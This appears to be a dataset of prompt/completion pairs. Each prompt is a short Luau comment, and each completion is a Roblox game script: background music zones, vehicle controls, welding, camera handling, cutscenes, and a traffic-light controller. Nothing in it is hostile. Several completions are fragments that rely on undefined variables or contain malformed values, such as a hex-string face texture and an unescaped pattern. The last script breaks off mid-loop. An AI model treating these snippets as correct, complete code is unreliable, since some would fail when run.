prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--now, get to playing the music |
local FadeoutTime = settings.MusicFadeoutTime
function PlaySound(sounddata)
if sounddata == nil then return end
local sound = Instance.new("Sound")
sound.Looped = true
sound.SoundId = sounddata.SoundId
sound.Volume = musicon and sounddata.Volume or 0
local v = Instance.new("NumberValue",sound)
v.Name = "OriginalVolume"
v.Value = sounddata.Volume
sound.Pitch = sounddata.Pitch
sound.Name = "BGM"
sound.Parent = script
sound:Play()
end
function FadeOutSound(sound)
local basevol = sound.Volume
local count = math.ceil(30*FadeoutTime)
if count < 1 then
count = 1
end
for i=1,count do
if sound then
sound.Volume = sound.Volume - (basevol / count)
wait(1/30)
end
end
if sound then
sound:Stop()
sound:Destroy()
end
end
if settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then
if #music[globali] == 1 then --global BGM with just 1 song? ez pz
PlaySound(music[1][1])
return
elseif #music[globali] == 0 then --there's no music to play...?
return
end
end
local recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks
math.randomseed(tick())
local currentzone
local zoneplayingmusic
function CheckIfRecent(i)
for _,v in pairs(recentindices) do
if v == i then
return true
end
end
return false
end
function SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently
if musiclist == nil or #musiclist == 0 then return end
local possiblenumbers = {}
local selectedindex
for i=1,#musiclist do
if not CheckIfRecent(i) then
table.insert(possiblenumbers,i)
end
end
local selectedindex = possiblenumbers[math.random(1,#possiblenumbers)]
table.insert(recentindices,selectedindex)
if #recentindices > math.ceil(#musiclist / 2) then
table.remove(recentindices,1)
end
return musiclist[selectedindex]
end
function IsInZone(zonedata)
if torso and torso.Parent ~= nil then
local p = torso.Position
for _,data in pairs(zonedata["Parts"]) do
if data["Coordinates"] then
local t = data["Coordinates"]
if (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone?
return true
end
elseif data["Part"] then --complex part? create a clone of the part and check if it's touching the character's torso
local part = data["Part"]:clone()
part.Anchored = true
part.Parent = workspace.CurrentCamera or workspace
part.CanCollide = true
local touching = part:GetTouchingParts()
part:Destroy()
for _,v in pairs(touching) do
if v == torso then
return true
end
end
end
end
return false
end
end
function CalculateCurrentZone()
local priority = -math.huge
local oldzone = currentzone
local selectedzone
if currentzone then
if IsInZone(currentzone) then
selectedzone = currentzone
priority = currentzone["Priority"]
end
end
for _,zone in pairs(zones) do
if zone["Priority"] > priority and IsInZone(zone) then
priority = zone["Priority"]
selectedzone = zone
end
end
currentzone = selectedzone
if currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then
recentindices = {}
end
return currentzone,oldzone
end
function RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary
local bgm = script:FindFirstChild("BGM")
if settings.UseMusicZones == true then
local zone,oldzone = CalculateCurrentZone()
if zone ~= oldzone and zone ~= zoneplayingmusic and bgm then
if (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then
FadeOutSound(bgm)
return
end
elseif zone and bgm == nil then
PlaySound(SelectRandomMusic(zone["Music"]))
zoneplayingmusic = zone
return
elseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
PlaySound(SelectRandomMusic(oldzone["Music"]))
zoneplayingmusic = oldzone
return
elseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
PlaySound(SelectRandomMusic(zoneplayingmusic["Music"]))
return
elseif settings.UseGlobalBackgroundMusic == true and bgm == nil then
PlaySound(SelectRandomMusic(music[globali]))
zoneplayingmusic = nil
return
end
elseif bgm == nil and settings.UseGlobalBackgroundMusic == true then
PlaySound(SelectRandomMusic(music[globali]))
return
end
if bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic["Music"] > 1) then
local length = bgm.TimeLength
local pos = bgm.TimePosition
if length ~= 0 and length - pos < FadeoutTime + .5 then
FadeOutSound(bgm)
end
end
end
while wait(.5) do
RunCycle()
end
|
--[=[
@param optionB Option
@return Option
If both `self` and `optionB` have values _or_ both don't have a value,
then this returns None. Otherwise, it returns the option that does have
a value.
]=] |
function Option:XOr(optionB)
local someOptA = self:IsSome()
local someOptB = optionB:IsSome()
if someOptA == someOptB then
return Option.None
elseif someOptA then
return self
else
return optionB
end
end
|
-- declarations |
local head = script.Parent
function onTouched(part)
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
sound:play()
if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end
end
script.Parent.Touched:connect(onTouched)
|
--This device is entirely open-source. |
Base = script.Parent.Base
Button = script.Parent.Button
Host = script.Parent.Parent.Parent.Events.DoorOpen
function verify(identity)
Host.BypassLevel.Value = true
Host.AccessLevelProvided.Value = -1
Host:Fire()
end
Button.ClickDetector.MouseClick:Connect(verify)
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("MSG",Paint)
end)
|
--Miscellaneous Settings: |
HANDBRAKE_ANG = 15 --Angle of handbrake when active in degrees
PADDLE_ANG = 15 --Angle of paddle shifter
PADDLE_INVERTED = false --Sets right paddle to shift down and vice versa
PEDAL_ANGLE = 55 --Angle of pedals when active in degrees
PED_INVERTED = false --Inverts the pedal angle (for top mounted pedals)
SHIFTER_TYPE = "Seq" --"H" for H-Pattern, "Seq" for sequential shifter
SEQ_INVERTED = false --Inverts the sequential shifter motion
SHIFT_TIME = 0.25 --Time it takes to shift between all parts (Clutch pedal, Paddle shifter, Shifter
VERTICAL_ANG = 8.5 --Vertical shifter movement angle in degrees
HORIZONTAL_ANG = 10.0 --Horizontal shifter increments in degrees (H-Pattern only)
STEER_MULT = 7.0 --Steering multiplier angle (Arbitrary)
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
--ToggleTCS = Enum.KeyCode.T ,
--ToggleABS = Enum.KeyCode.Y ,
--ToggleTransMode = Enum.KeyCode.M ,
--ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
--PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--tool = script.Parent.Pistol |
function Die()
--if tool ~= nil then tool:remove() end
--game.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1
wait(2.5)
script.Parent:remove()
end
human.Died:connect(Die)
|
-- Handle command invocations from the clients. |
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options)
if #text > 100_000 then
return "Input too long"
end
return Cmdr.Dispatcher:EvaluateAndRun(text, player, options)
end
return Cmdr
|
--- Invoke |
Signal.Invoke = function(funcName, ...)
funcName = string.lower(funcName)
local func = GetFunc(funcName)
if (not isServer) and funcName ~= "core signal fired" then
Signal.Fire("CORE Signal Fired", funcName)
end
--
return func:Invoke(...)
end
|
----- NO EDITING BELOW ----- |
local weldedParts = {}
table.insert(weldedParts,mainPart)
function Weld(x, y)
weld = Instance.new("Weld")
weld.Part0 = x
weld.Part1 = y
local CJ = CFrame.new(x.Position)
weld.C0 = x.CFrame:inverse() * CJ
weld.C1 = y.CFrame:inverse() * CJ
weld.Parent = x
table.insert(weldedParts,y)
end
function WeldRec(instance)
local childs = instance:GetDescendants()
for _,v in pairs(childs) do
if v:IsA("BasePart") then
Weld(mainPart, v)
end
WeldRec(v)
end
end
WeldRec(P) |
--MasterControl needs access to ControlState in order to be able to fully enable and disable control |
MasterControl.ControlState = ControlState
local DynamicThumbstickModule = require(script.MasterControl:WaitForChild('DynamicThumbstick'))
local ThumbstickModule = require(script.MasterControl:WaitForChild('Thumbstick'))
local ThumbpadModule = require(script.MasterControl:WaitForChild('Thumbpad'))
local DPadModule = require(script.MasterControl:WaitForChild('DPad'))
local DefaultModule = ControlModules.Thumbstick
local TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump'))
MasterControl.TouchJumpModule = TouchJumpModule
local keyboardModule = require(script.MasterControl:WaitForChild('KeyboardMovement'))
ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad'))
function getTouchModule()
local module = nil
if not IsUserChoice then
if DynamicThumbstickAvailable and DevMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then
module = DynamicThumbstickModule
isJumpEnabled = false
elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbstick then
module = ThumbstickModule
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbpad then
module = ThumbpadModule
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.DPad then
module = DPadModule
isJumpEnabled = false
elseif DevMovementMode == Enum.DevTouchMovementMode.ClickToMove then
-- Managed by CameraScript
module = nil
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
module = nil
end
else
if DynamicThumbstickAvailable and UserMovementMode == Enum.TouchMovementMode.DynamicThumbstick then
module = DynamicThumbstickModule
isJumpEnabled = false
elseif UserMovementMode == Enum.TouchMovementMode.Default or UserMovementMode == Enum.TouchMovementMode.Thumbstick then
module = ThumbstickModule
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.Thumbpad then
module = ThumbpadModule
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.DPad then
module = DPadModule
isJumpEnabled = false
elseif UserMovementMode == Enum.TouchMovementMode.ClickToMove then
-- Managed by CameraScript
module = nil
end
end
return module
end
function setJumpModule(isEnabled)
if not isEnabled then
TouchJumpModule:Disable()
elseif ControlState.Current == ControlModules.Touch then
TouchJumpModule:Enable()
end
end
function setClickToMove()
if DevMovementMode == Enum.DevTouchMovementMode.ClickToMove or DevMovementMode == Enum.DevComputerMovementMode.ClickToMove or
UserMovementMode == Enum.ComputerMovementMode.ClickToMove or UserMovementMode == Enum.TouchMovementMode.ClickToMove then
--
if lastInputType == Enum.UserInputType.Touch then
ClickToMoveTouchControls = ControlState.Current
end
elseif ClickToMoveTouchControls then
ClickToMoveTouchControls:Disable()
ClickToMoveTouchControls = nil
end
end
ControlModules.Touch = {}
ControlModules.Touch.Current = nil
ControlModules.Touch.LocalPlayerChangedCon = nil
ControlModules.Touch.GameSettingsChangedCon = nil
function ControlModules.Touch:RefreshControlStyle()
if ControlModules.Touch.Current then
ControlModules.Touch.Current:Disable()
end
setJumpModule(false)
TouchJumpModule:Disable()
ControlModules.Touch:Enable()
end
function ControlModules.Touch:DisconnectEvents()
if ControlModules.Touch.LocalPlayerChangedCon then
ControlModules.Touch.LocalPlayerChangedCon:disconnect()
ControlModules.Touch.LocalPlayerChangedCon = nil
end
if ControlModules.Touch.GameSettingsChangedCon then
ControlModules.Touch.GameSettingsChangedCon:disconnect()
ControlModules.Touch.GameSettingsChangedCon = nil
end
end
function ControlModules.Touch:Enable()
DevMovementMode = LocalPlayer.DevTouchMovementMode
IsUserChoice = DevMovementMode == Enum.DevTouchMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.TouchMovementMode
end
local newModuleToEnable = getTouchModule()
if newModuleToEnable then
setClickToMove()
setJumpModule(isJumpEnabled)
newModuleToEnable:Enable()
ControlModules.Touch.Current = newModuleToEnable
if isJumpEnabled then TouchJumpModule:Enable() end
end
-- This being within the above if statement was causing issues with ClickToMove, which isn't a module within this script.
ControlModules.Touch:DisconnectEvents()
ControlModules.Touch.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property)
if property == 'DevTouchMovementMode' then
ControlModules.Touch:RefreshControlStyle()
end
end)
ControlModules.Touch.GameSettingsChangedCon = GameSettings.Changed:connect(function(property)
if property == 'TouchMovementMode' then
ControlModules.Touch:RefreshControlStyle()
end
end)
end
function ControlModules.Touch:Disable()
ControlModules.Touch:DisconnectEvents()
local newModuleToDisable = getTouchModule()
if newModuleToDisable == ThumbstickModule or
newModuleToDisable == DPadModule or
newModuleToDisable == ThumbpadModule or
newModuleToDisable == DynamicThumbstickModule then
newModuleToDisable:Disable()
setJumpModule(false)
TouchJumpModule:Disable()
end
end
local function getKeyboardModule()
-- NOTE: Click to move still uses keyboard. Leaving cases in case this ever changes.
local whichModule = nil
if not IsUserChoice then
if DevMovementMode == Enum.DevComputerMovementMode.KeyboardMouse then
whichModule = keyboardModule
elseif DevMovementMode == Enum.DevComputerMovementMode.ClickToMove then
-- Managed by CameraScript
whichModule = keyboardModule
end
else
if UserMovementMode == Enum.ComputerMovementMode.KeyboardMouse or UserMovementMode == Enum.ComputerMovementMode.Default then
whichModule = keyboardModule
elseif UserMovementMode == Enum.ComputerMovementMode.ClickToMove then
-- Managed by CameraScript
whichModule = keyboardModule
end
end
return whichModule
end
ControlModules.Keyboard = {}
function ControlModules.Keyboard:RefreshControlStyle()
ControlModules.Keyboard:Disable()
ControlModules.Keyboard:Enable()
end
function ControlModules.Keyboard:Enable()
DevMovementMode = LocalPlayer.DevComputerMovementMode
IsUserChoice = DevMovementMode == Enum.DevComputerMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.ComputerMovementMode
end
local newModuleToEnable = getKeyboardModule()
if newModuleToEnable then
newModuleToEnable:Enable()
end
ControlModules.Keyboard:DisconnectEvents()
ControlModules.Keyboard.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property)
if property == 'DevComputerMovementMode' then
ControlModules.Keyboard:RefreshControlStyle()
end
end)
ControlModules.Keyboard.GameSettingsChangedCon = GameSettings.Changed:connect(function(property)
if property == 'ComputerMovementMode' then
ControlModules.Keyboard:RefreshControlStyle()
end
end)
end
function ControlModules.Keyboard:DisconnectEvents()
if ControlModules.Keyboard.LocalPlayerChangedCon then
ControlModules.Keyboard.LocalPlayerChangedCon:disconnect()
ControlModules.Keyboard.LocalPlayerChangedCon = nil
end
if ControlModules.Keyboard.GameSettingsChangedCon then
ControlModules.Keyboard.GameSettingsChangedCon:disconnect()
ControlModules.Keyboard.GameSettingsChangedCon = nil
end
end
function ControlModules.Keyboard:Disable()
ControlModules.Keyboard:DisconnectEvents()
local newModuleToDisable = getKeyboardModule()
if newModuleToDisable then
newModuleToDisable:Disable()
end
end
if IsTouchDevice then
BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange')
end
|
--[[
Unpacks an animatable type into an array of numbers.
If the type is not animatable, an empty array will be returned.
FIXME: This function uses a lot of redefinitions to suppress false positives
from the Luau typechecker - ideally these wouldn't be required
FUTURE: When Luau supports singleton types, those could be used in
conjunction with intersection types to make this function fully statically
type checkable.
]] |
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local Oklab = require(Package.Colour.Oklab)
local function unpackType(value: any, typeString: string): {number}
if typeString == "number" then
local value = value :: number
return {value}
elseif typeString == "CFrame" then
-- FUTURE: is there a better way of doing this? doing distance
-- calculations on `angle` may be incorrect
local axis, angle = value:ToAxisAngle()
return {value.X, value.Y, value.Z, axis.X, axis.Y, axis.Z, angle}
elseif typeString == "Color3" then
local lab = Oklab.to(value)
return {lab.X, lab.Y, lab.Z}
elseif typeString == "ColorSequenceKeypoint" then
local lab = Oklab.to(value.Value)
return {lab.X, lab.Y, lab.Z, value.Time}
elseif typeString == "DateTime" then
return {value.UnixTimestampMillis}
elseif typeString == "NumberRange" then
return {value.Min, value.Max}
elseif typeString == "NumberSequenceKeypoint" then
return {value.Value, value.Time, value.Envelope}
elseif typeString == "PhysicalProperties" then
return {value.Density, value.Friction, value.Elasticity, value.FrictionWeight, value.ElasticityWeight}
elseif typeString == "Ray" then
return {value.Origin.X, value.Origin.Y, value.Origin.Z, value.Direction.X, value.Direction.Y, value.Direction.Z}
elseif typeString == "Rect" then
return {value.Min.X, value.Min.Y, value.Max.X, value.Max.Y}
elseif typeString == "Region3" then
-- FUTURE: support rotated Region3s if/when they become constructable
return {
value.CFrame.X, value.CFrame.Y, value.CFrame.Z,
value.Size.X, value.Size.Y, value.Size.Z
}
elseif typeString == "Region3int16" then
return {value.Min.X, value.Min.Y, value.Min.Z, value.Max.X, value.Max.Y, value.Max.Z}
elseif typeString == "UDim" then
return {value.Scale, value.Offset}
elseif typeString == "UDim2" then
return {value.X.Scale, value.X.Offset, value.Y.Scale, value.Y.Offset}
elseif typeString == "Vector2" then
return {value.X, value.Y}
elseif typeString == "Vector2int16" then
return {value.X, value.Y}
elseif typeString == "Vector3" then
return {value.X, value.Y, value.Z}
elseif typeString == "Vector3int16" then
return {value.X, value.Y, value.Z}
else
return {}
end
end
return unpackType
|
-- ROBLOX deviation: use `unknown` type until Luau starts to support it |
type unknown = any
exports.default = function(globalToMutate: typeof(_G), key: string, value: unknown): ()
-- @ts-expect-error: no index
globalToMutate[key] = value
end
return exports
|
--!strict |
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local GameSettings = UserSettings():GetService("UserGameSettings")
local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end
local Mouse = LocalPlayer:GetMouse()
local Input = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
local lastTogglePan = false
local lastTogglePanChange = tick()
local CROSS_MOUSE_ICON = "rbxasset://textures/Cursors/CrossMouseIcon.png"
local lockStateDirty = false
local wasTogglePanOnTheLastTimeYouWentIntoFirstPerson = false
local lastFirstPerson = false
CameraUI.setCameraModeToastEnabled(false)
return function(isFirstPerson: boolean)
local togglePan = Input.getTogglePan()
local toastTimeout = 3
if isFirstPerson and togglePan ~= lastTogglePan then
lockStateDirty = true
end
if lastTogglePan ~= togglePan or tick() - lastTogglePanChange > toastTimeout then
local doShow = togglePan and tick() - lastTogglePanChange < toastTimeout
CameraUI.setCameraModeToastOpen(doShow)
if togglePan then
lockStateDirty = false
end
lastTogglePanChange = tick()
lastTogglePan = togglePan
end
if isFirstPerson ~= lastFirstPerson then
if isFirstPerson then
wasTogglePanOnTheLastTimeYouWentIntoFirstPerson = Input.getTogglePan()
Input.setTogglePan(true)
elseif not lockStateDirty then
Input.setTogglePan(wasTogglePanOnTheLastTimeYouWentIntoFirstPerson)
end
end
if isFirstPerson then
if Input.getTogglePan() then
Mouse.Icon = CROSS_MOUSE_ICON
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
GameSettings.RotationType = Enum.RotationType.CameraRelative
else
Mouse.Icon = ""
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
GameSettings.RotationType = Enum.RotationType.CameraRelative
end
elseif Input.getTogglePan() then
Mouse.Icon = CROSS_MOUSE_ICON
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
GameSettings.RotationType = Enum.RotationType.MovementRelative
elseif Input.getHoldPan() then
Mouse.Icon = ""
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
GameSettings.RotationType = Enum.RotationType.MovementRelative
else
Mouse.Icon = ""
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
GameSettings.RotationType = Enum.RotationType.MovementRelative
end
lastFirstPerson = isFirstPerson
end
|
--[ FUNCTIONS ]-- |
game.Players.PlayerAdded:Connect(function(player) -- When Player Join
player.CharacterAdded:Connect(function(chr) -- Grabs Player Character
player.Chatted:Connect(function(msg) -- When Player Chats
-- IF start --
if msg:sub(1, Command:len()):lower() == Command:lower() then -- if msg is /e headless then
player.Character.Head.Transparency = 1 -- makes head transparent
player.Character.Head.face.Transparency = 1 -- makes face transparent
else
if player.Character.Head.Transparency == 1 then -- if head is transparent
if msg:sub(1, LeaveCommand:len()):lower() == LeaveCommand:lower() then -- and if msg is /e unheadless then
player.Character.Head.Transparency = 0 -- makes head untransparent
player.Character.Head.face.Transparency = 0 -- makes face untransparent
end
end
end
-- IF end --
end)
end)
end)
|
-- Generated By Codes Otaku Plugin |
local Cutscene = {}
Cutscene.__index = Cutscene
local TS = game:GetService("TweenService")
local RuS = game:GetService("RunService")
local Cutscenes = {}
local DEBUG_MODE = false
if not DEBUG_MODE then
for i, v in pairs(workspace.Cutscenes:GetDescendants()) do
if v:IsA("BasePart") then
v.Transparency = 1
end
end
end
local ERROR = {
NIL_DATA = "Cutscene data can't be nil",
INVALID_DATA = "Cutscene data can't be invalid",
NO_CAMERA = "Cutscene camera not set"
}
local function hasProperty(object, prop)
return pcall(function() local t = object[prop] end)
end
local function GetValue(Parent, Name)
if Parent and hasProperty(Parent, Name) then
if typeof(Parent[Name]) == "Instance" then
return Parent[Name].Value
else
return Parent[Name]
end
end
end
function Cutscene.new(Camera, Looped, Speed, FreezeControls, Data)
local Self = {}
Self.Camera = Camera
Self.Data = Data or {}
Self.Looped = Looped or false
Self.Speed = Speed or 1
Self.Instruction = 0
Self.Playing = false
Self.Paused = false
Self.CurrentTween = nil
Self.CurrentFOVTween = nil
Self.ID = #Cutscenes+1
Self.Loaded = false
Self.FreezeControls = FreezeControls or false
Self.ENextKeyframe = Instance.new("BindableEvent")
Self.ELoaded = Instance.new("BindableEvent")
Self.EPlay = Instance.new("BindableEvent")
Self.EPause = Instance.new("BindableEvent")
Self.EStop = Instance.new("BindableEvent")
Self.EResume = Instance.new("BindableEvent")
Self.DidLoop = Instance.new("BindableEvent")
Self.Counter = 0
Self.Elapsed = 0
Self.NextInstruction = 0
Cutscene[Self.ID] = Self
return setmetatable(Self, Cutscene)
end
function Cutscene.parse(DataFolder, SafeMode)
local Data = {}
Data[1] = {} -- Cameras
Data[2] = {} -- Program
local Cameras = DataFolder:FindFirstChild("Cameras")
local Program = DataFolder:FindFirstChild("Program")
if Cameras and Program then
for i=1,#Cameras:GetChildren(),1 do
if SafeMode then
RuS.RenderStepped:wait()
end
local Camera = Cameras:FindFirstChild(tostring(i))
if Camera then
Data[1][i] = {}
Data[1][i][1] = GetValue(Camera, "CFrame") or CFrame.new()
Data[1][i][2] = GetValue(Camera, "FOV") or 70
Data[1][i][3] = Enum.EasingStyle[GetValue(Camera, "TransitionType") or 1]
Data[1][i][4] = GetValue(Camera, "TransitionDuration") or 1
Data[1][i][5] = GetValue(Camera, "TransitionDirection") or 1
Data[1][i][6] = GetValue(Camera, "TransitionDelay") or 0
end
end
else
warn(ERROR.INVALID_DATA)
end
return Data
end
function Cutscene:Load(Data, Destroy, NoYield, SafeMode)
if Data then
if type(Data) == "table" then
self.Data = Data
elseif Data:IsA("Folder") then
if NoYield then
spawn(function()
self.Data = Cutscene.parse(Data, SafeMode)
if Destroy then
Data:Destroy()
end
self.Loaded = true
self.ELoaded:Fire()
end)
else
self.Data = Cutscene.parse(Data, SafeMode)
if Destroy then
Data:Destroy()
end
self.Loaded = true
self.ELoaded:Fire()
end
else
warn(ERROR.INVALID_DATA)
end
else
warn(ERROR.NIL_DATA)
end
end
function Cutscene:Play(Speed, Looped, Camera)
self.Speed = Speed or self.Speed
if type(Looped) == "boolean" then
self.Looped = Looped
end
self.Camera = self.Camera or Camera
if self.Camera and self.Playing == false then
if self.FreezeControls then
local controls = require(game:GetService("Players").LocalPlayer.PlayerScripts.PlayerModule):GetControls()
controls:Disable()
end
self.Camera.CameraType = Enum.CameraType.Scriptable
self.Playing = true
self.EPlay:Fire()
else
warn(ERROR.NO_CAMERA)
end
end
function Cutscene:Resume()
if self.Playing and self.Paused then
self.Camera.CameraType = Enum.CameraType.Scriptable
self.CurrentTween:Play()
self.CurrentFOVTween:Play()
self.Paused = false
self.EResume:Fire()
end
end
function Cutscene:Pause()
if self.Playing == true and self.Paused == false then
self.CurrentTween:Pause()
self.CurrentFOVTween:Pause()
self.Paused = true
self.EPause:Fire()
end
end
function Cutscene:Stop()
if self.Playing == true then
self.Playing = false
self.Paused = false
self.Instruction = 0
if self.CurrentTween then
self.CurrentTween:Cancel()
end
self.CurrentTween = nil
if self.CurrentFOVTween then
self.CurrentFOVTween:Cancel()
end
self.CurrentFOVTween = nil
self.NextInstruction = 0
self.Elapsed = 0
self.Camera.CameraType = Enum.CameraType.Custom
local controls = require(game:GetService("Players").LocalPlayer.PlayerScripts.PlayerModule):GetControls()
controls:Enable()
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
if Character then
local Humanoid = Character:FindFirstChild("Humanoid")
if Humanoid then
self.Camera.CameraSubject = Humanoid
end
end
self.EStop:Fire()
end
end
function Cutscene:GetDuration(Speed)
Speed = Speed or 1
local count = 0
for i,X in pairs(self.Data[1]) do
count = count+X[4]+X[6]
end
return count/Speed
end
function Cutscene:Update(delta)
if self.Playing == true and self.Paused == false and self.Camera then
self.Camera.CameraType = Enum.CameraType.Scriptable
if self.Counter >= self.NextInstruction then
self.Instruction = self.Instruction + 1
local X = self.Data[1][self.Instruction]
if X then
if X[4] == 0 then
self.Camera.FieldOfView = X[2]
self.Camera.CFrame = X[1]
end
local TI = TweenInfo.new(X[4]/self.Speed, X[3], X[5], 0, false, X[6]/self.Speed)
local TI2 = TweenInfo.new(X[4]/self.Speed, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, X[6]/self.Speed)
local Properties = {
["CFrame"] = X[1]
}
self.CurrentTween = TS:Create(self.Camera, TI, Properties)
self.CurrentFOVTween = TS:Create(self.Camera, TI2, {FieldOfView = X[2]})
self.CurrentTween:Play()
self.CurrentFOVTween:Play()
self.Counter = 0
self.NextInstruction = (X[4]+X[6])/self.Speed
self.ENextKeyframe:Fire(self.Instruction, self.NextInstruction, X)
else
if self.Looped then
self.Instruction = 0
self.Counter = 0
self.Elapsed = 0
self.NextInstruction = 0
self.DidLoop:Fire()
else
self:Stop()
end
end
end
self.Counter = self.Counter + delta
self.Elapsed = self.Elapsed + delta
end
end
function Cutscene:Toggle()
if self.Playing then
if self.Paused then
self:Resume()
else
self:Pause()
end
end
end
function Cutscene:Destroy()
if self.Playing then
self:Stop()
end
self.CurrentTween:Destroy()
self.CurrentFOVTween:Destroy()
self.EPlay:Destroy()
self.EPause:Destroy()
self.EStop:Destroy()
self.EResume:Destroy()
self.ELoaded:Destroy()
Cutscenes[self.ID] = nil
self = nil
end
return Cutscene
|
-- local NEWLINE = "\n" |
local HEADING = "s*[^%.*]+s*" |
--Main Control------------------------------------------------------------------------ |
Red = script.Parent.Red.Lamp.ImageLabel
Yellow = script.Parent.Yellow.Lamp.ImageLabel
Green = script.Parent.Green.Lamp.ImageLabel
DRed = script.Parent.Red.DynamicLight
DYellow = script.Parent.Yellow.DynamicLight
DGreen = script.Parent.Green.DynamicLight
function Active()
if Signal.Value == 0 then
repeat
Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175
Red.ImageTransparency = Red.ImageTransparency + 0.175
Green.ImageTransparency = Green.ImageTransparency + 0.175
DYellow.Brightness = DYellow.Brightness - 0.35
DRed.Brightness = DRed.Brightness - 0.35
DGreen.Brightness = DGreen.Brightness - 0.35
wait()
if Signal.Value ~= 0 then break end
until
Red.ImageTransparency == 1
and
Yellow.ImageTransparency == 1
and
Green.ImageTransparency == 1
and
DYellow.Brightness <= 0
and
DGreen.Brightness <= 0
and
DRed.Brightness <= 0
elseif Signal.Value == 1 then
repeat
Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175
Red.ImageTransparency = Red.ImageTransparency + 0.175
Green.ImageTransparency = Green.ImageTransparency - 0.125
DYellow.Brightness = DYellow.Brightness - 0.35
DRed.Brightness = DRed.Brightness - 0.35
DGreen.Brightness = DGreen.Brightness + 0.25
wait()
if Signal.Value ~= 1 then break end
until
Red.ImageTransparency == 1
and
Yellow.ImageTransparency == 1
and
Green.ImageTransparency == 0
and
DYellow.Brightness <= 0
and
DGreen.Brightness >= 2
and
DRed.Brightness == 0
elseif Signal.Value == 2 then
repeat
Yellow.ImageTransparency = Yellow.ImageTransparency - 0.125
Red.ImageTransparency = Red.ImageTransparency + 0.175
